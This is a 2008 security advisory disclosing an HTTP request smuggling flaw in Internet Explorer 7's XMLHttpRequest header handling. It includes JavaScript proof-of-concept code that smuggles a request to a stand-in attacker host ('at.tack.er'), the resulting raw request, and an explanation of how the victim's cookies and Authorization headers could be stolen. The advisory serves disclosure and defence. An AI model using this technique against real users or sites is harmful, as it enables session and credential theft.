Minded Security Labs: Advisory #MSA01240108
Microsoft Internet Explorer "Transfer-Encoding: chunked" allows Request
Splitting/Smuggling.
Tested Versions:
Internet Explorer 7.0.5730.11
Tested OS:
XP Professional SP2 Italian
Minded Security ReferenceID:
MSA01240108
Credits:
Discovery by
Stefano Di Paola of Minded Security
stefano.dipaola [_at_] mindedsecurity.com
Reference:
MSA01240108
Severity:
Medium/High
Summary
Internet Explorer 7 allows setting of header "Transfer Encoding:
chunked" in setRequestHeader exposing the browser to Http Request
Splitting/Smuggling attacks.
Analysis
Let's suppose the following scenery (which is not necessarily the
only one).
- A site vulnerable to reflected Xss is hosted on the same host
as an attacker site.
- User has no proxy configured.
As IE7 allows setting
setRequestHeader("Transfer-Encoding","chunked");
so, it allows using the payload in a POST request which will be
considered as another request by the web server.
For example:
-----------------------------------------------------
var x=new XMLHttpRequest();
for(var i =0; i<1;i++){
x.open("POST","/");
x.setRequestHeader("Transfer-Encoding","chunked");
x.setRequestHeader("Proxy-Connection","keep-alive");
x.setRequestHeader("Connection","keep-alive");
x.onreadystatechange=function (){
if (x.readyState == 4){
}
}
try{
x.send("0\r\n\r\nPOST / HTTP/1.1\r\nHost:
at.tack.er\r\nContent-Length: SOMELENGTH\r\n\r\n") }catch(r){} }
-----------------------------------------------------
the request will become:
----------------------------------------------------
POST / HTTP/1.1
Accept: */*
Accept-Language: it
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache
Referer: http://vi.ct.im/
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 2.0.50727; .NET CLR 1.1.4322)
Host: at.tack.er
Content-Length: 67
0
POST /?Send1 HTTP/1.1
Host: at.tack.er
Content-Length: TheLenghtOfTheNextRequest
----------------------------------------------------
That way, the web server, will wait for the payload, keeping the
socket open.
Infact RFC 2616 says that :
---------
If a message is received with both a Transfer-Encoding header
field and a Content-Length header field, the latter MUST be
ignored.
---------
So the payload will be parsed as chunked.
Then by forcing IE to perform several requests on the victim
host, the browser will reuse the previous (open) socket, thus
sending the request as payload to the attacker site.
When at.tack.er host receive the request, there are several attacks,
it could perform:
1. Stealing the headers of the request to vi.ct.im host (httponly
cookies, Authorization data..)
2. Perform local cache poisoning by using Expire: header from the
attacker poisoned page.
A proof of concept was developed.
Keep in mind that several other sceneries could be abused as well
(see references).
Credits
Stefano di Paola is credited with the discovery of this vulnerability.
Disclosure Timeline
25/01/2008 Initial vendor notification
25/01/2008 Vendor Confirmed
21/03/2008 Public advisory
Reference
[1] "Http Request Smuggling", Chaim Linhart, Amit Klein, Ronen
Heled, Steve Orrin, 2005.
http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
[2] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing,
and a lot more...", Amit Klein, 2005.
http://www.securityfocus.com/archive/1/411585
[3] "HTTP Header Injection Vulnerabilities in the Flash Player
Plugin", 2006.
http://download2.rapid7.com/r7-0026/
[4] "Auto Injecting Cross Domain Scripting", pp 6-7, Stefano Di Paola,
Giorgio Fedon, 2007
http://www.wisec.it/docs.php?id=4
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